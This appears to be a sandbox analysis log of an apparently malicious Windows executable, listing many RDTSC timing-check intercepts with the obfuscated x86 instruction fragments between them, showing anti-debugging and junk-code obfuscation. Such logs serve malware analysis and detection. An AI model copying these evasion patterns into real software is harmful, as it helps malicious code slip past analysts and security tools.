Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224C95 second address: 1224CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77D6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224CB0 second address: 1224CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39A52A2E63h 0x00000009 jp 00007F39A52A2E56h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224CCD second address: 1224CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F39A52A77CEh 0x00000010 jp 00007F39A52A77C6h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122511C second address: 122512C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F39A52A2E56h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12160B4 second address: 12160B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227C6B second address: 1227C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227C6F second address: 1227C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227C75 second address: 1227C8F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F39A52A2E58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F39A52A2E58h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227D10 second address: 1227D15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227D15 second address: 1227D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227D24 second address: 1227D36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227D36 second address: 1227D7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F39A52A2E68h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 mov ecx, dword ptr [ebp+122D3AE6h] 0x00000019 pop ecx 0x0000001a push 740535BDh 0x0000001f pushad 0x00000020 push ecx 0x00000021 push eax 0x00000022 pop eax 0x00000023 pop ecx 0x00000024 je 00007F39A52A2E5Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227D7E second address: 1227E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xor dword ptr [esp], 7405353Dh 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F39A52A77C8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov esi, 494E1400h 0x0000002b cmc 0x0000002c sub dword ptr [ebp+122D2AFAh], edx 0x00000032 push 00000003h 0x00000034 call 00007F39A52A77D7h 0x00000039 mov edx, dword ptr [ebp+122D17E8h] 0x0000003f pop edi 0x00000040 push 00000000h 0x00000042 mov dword ptr [ebp+122D1800h], ebx 0x00000048 push 00000003h 0x0000004a push BB796F9Ch 0x0000004f pushad 0x00000050 pushad 0x00000051 push eax 0x00000052 pop eax 0x00000053 jmp 00007F39A52A77D5h 0x00000058 popad 0x00000059 pushad 0x0000005a push edi 0x0000005b pop edi 0x0000005c pushad 0x0000005d popad 0x0000005e popad 0x0000005f popad 0x00000060 add dword ptr [esp], 04869064h 0x00000067 mov dx, 1BB1h 0x0000006b lea ebx, dword ptr [ebp+12459B92h] 0x00000071 mov esi, 5AB0FF93h 0x00000076 push eax 0x00000077 jbe 00007F39A52A77CEh 0x0000007d push ecx 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227E53 second address: 1227F03 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F39A52A2E58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F39A52A2E62h 0x00000011 jmp 00007F39A52A2E65h 0x00000016 popad 0x00000017 nop 0x00000018 jg 00007F39A52A2E5Ch 0x0000001e push 00000000h 0x00000020 sub cx, 6C27h 0x00000025 push 42A11B84h 0x0000002a push edi 0x0000002b push esi 0x0000002c jmp 00007F39A52A2E66h 0x00000031 pop esi 0x00000032 pop edi 0x00000033 xor dword ptr [esp], 42A11B04h 0x0000003a mov dword ptr [ebp+122D3108h], edi 0x00000040 push 00000003h 0x00000042 push 00000000h 0x00000044 push edx 0x00000045 call 00007F39A52A2E58h 0x0000004a pop edx 0x0000004b mov dword ptr [esp+04h], edx 0x0000004f add dword ptr [esp+04h], 00000016h 0x00000057 inc edx 0x00000058 push edx 0x00000059 ret 0x0000005a pop edx 0x0000005b ret 0x0000005c push 00000000h 0x0000005e mov ecx, dword ptr [ebp+122D2485h] 0x00000064 push 00000003h 0x00000066 mov ecx, dword ptr [ebp+122D3A06h] 0x0000006c push 8BD36425h 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 push esi 0x00000075 pop esi 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227F03 second address: 1227F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227F07 second address: 1227F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F39A52A2E56h 0x0000000d jmp 00007F39A52A2E5Dh 0x00000012 popad 0x00000013 popad 0x00000014 xor dword ptr [esp], 4BD36425h 0x0000001b adc dl, 00000029h 0x0000001e lea ebx, dword ptr [ebp+12459B9Bh] 0x00000024 jng 00007F39A52A2E5Ch 0x0000002a sub edx, 72C6C152h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F39A52A2E62h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227FF7 second address: 122808A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 xor dword ptr [esp], 27A43B1Ah 0x0000000e call 00007F39A52A77D9h 0x00000013 mov dx, EDADh 0x00000017 pop edx 0x00000018 push 00000003h 0x0000001a mov ecx, dword ptr [ebp+122D3B4Ah] 0x00000020 push 00000000h 0x00000022 jng 00007F39A52A77CFh 0x00000028 pushad 0x00000029 clc 0x0000002a add edi, 562BB630h 0x00000030 popad 0x00000031 add esi, 23836840h 0x00000037 push 00000003h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F39A52A77C8h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 mov dword ptr [ebp+122D27BCh], ebx 0x00000059 call 00007F39A52A77C9h 0x0000005e push ecx 0x0000005f push ecx 0x00000060 jl 00007F39A52A77C6h 0x00000066 pop ecx 0x00000067 pop ecx 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c pushad 0x0000006d popad 0x0000006e ja 00007F39A52A77C6h 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122808A second address: 12280A4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F39A52A2E58h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jbe 00007F39A52A2E71h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12280A4 second address: 12280A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12280A8 second address: 12280ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushad 0x0000000d jnc 00007F39A52A2E56h 0x00000013 jmp 00007F39A52A2E69h 0x00000018 popad 0x00000019 push ecx 0x0000001a push esi 0x0000001b pop esi 0x0000001c pop ecx 0x0000001d popad 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push edi 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12280ED second address: 12280F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12280F1 second address: 1228156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F39A52A2E58h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 and edx, dword ptr [ebp+122D1C86h] 0x00000028 mov dword ptr [ebp+122D24BCh], ecx 0x0000002e lea ebx, dword ptr [ebp+12459BA6h] 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F39A52A2E58h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e mov edi, 715A3F84h 0x00000053 push eax 0x00000054 pushad 0x00000055 je 00007F39A52A2E58h 0x0000005b pushad 0x0000005c popad 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124747C second address: 1247482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247482 second address: 124748C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12475F7 second address: 1247608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247608 second address: 124762C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F39A52A2E56h 0x0000000e jmp 00007F39A52A2E66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124779D second address: 12477A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12477A3 second address: 12477BD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F39A52A2E56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F39A52A2E5Bh 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12477BD second address: 12477D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77CFh 0x00000009 pop ecx 0x0000000a popad 0x0000000b push edi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247A33 second address: 1247A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F39A52A2E5Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247D6F second address: 1247D76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247FC8 second address: 1247FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247FCC second address: 1248002 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F39A52A77F8h 0x0000000e pushad 0x0000000f jmp 00007F39A52A77D8h 0x00000014 jnc 00007F39A52A77C6h 0x0000001a popad 0x0000001b jl 00007F39A52A77D2h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248002 second address: 1248008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248307 second address: 124830C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124830C second address: 1248312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248312 second address: 1248316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248316 second address: 124831A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248980 second address: 1248984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248984 second address: 12489A2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F39A52A2E62h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jns 00007F39A52A2E56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248BF6 second address: 1248C69 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F39A52A77C6h 0x00000008 jng 00007F39A52A77C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F39A52A77D2h 0x00000015 jc 00007F39A52A77DFh 0x0000001b jmp 00007F39A52A77D9h 0x00000020 jl 00007F39A52A77E2h 0x00000026 jmp 00007F39A52A77CEh 0x0000002b jmp 00007F39A52A77CEh 0x00000030 popad 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 jbe 00007F39A52A77C6h 0x0000003a ja 00007F39A52A77C6h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248C69 second address: 1248C76 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F39A52A2E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248C76 second address: 1248C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248DE8 second address: 1248E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jmp 00007F39A52A2E5Ch 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F39A52A2E5Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C28B second address: 124C28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C55A second address: 124C55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C55E second address: 124C562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D833 second address: 124D84F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E62h 0x00000007 jne 00007F39A52A2E56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212B8C second address: 1212BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F39A52A77CDh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212BA1 second address: 1212BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F39A52A2E56h 0x0000000a jl 00007F39A52A2E56h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212BB2 second address: 1212BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212BB8 second address: 1212BBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212BBE second address: 1212BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F39A52A77CEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120DA6F second address: 120DA8F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F39A52A2E64h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125670B second address: 125672A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 js 00007F39A52A77C6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F39A52A77CAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125672A second address: 125672F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125672F second address: 1256735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125686D second address: 125688A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F39A52A2E63h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256B5D second address: 1256B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F39A52A77C6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F39A52A77CBh 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 jnp 00007F39A52A77C6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256B7F second address: 1256B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256E01 second address: 1256E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F39A52A77C6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F39A52A77C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256E14 second address: 1256E1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259055 second address: 1259059 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259059 second address: 1259062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259062 second address: 1259096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77D9h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F39A52A77CFh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259605 second address: 1259609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259D18 second address: 1259D23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F39A52A77C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259EB4 second address: 1259EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259F86 second address: 1259F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A06F second address: 125A073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A44E second address: 125A452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A452 second address: 125A458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A458 second address: 125A4C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F39A52A77C8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1843h], ebx 0x0000002b call 00007F39A52A77D0h 0x00000030 add si, A124h 0x00000035 pop esi 0x00000036 mov edi, dword ptr [ebp+1245BA2Ch] 0x0000003c xchg eax, ebx 0x0000003d jmp 00007F39A52A77D8h 0x00000042 push eax 0x00000043 pushad 0x00000044 push edi 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B3F4 second address: 125B3FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F39A52A2E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B3FE second address: 125B402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B402 second address: 125B47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F39A52A2E58h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 or esi, dword ptr [ebp+12457686h] 0x0000002b push 00000000h 0x0000002d sub dword ptr [ebp+124844C6h], edi 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F39A52A2E58h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000014h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f mov esi, dword ptr [ebp+1245AD8Dh] 0x00000055 xchg eax, ebx 0x00000056 pushad 0x00000057 jmp 00007F39A52A2E61h 0x0000005c pushad 0x0000005d jnl 00007F39A52A2E56h 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
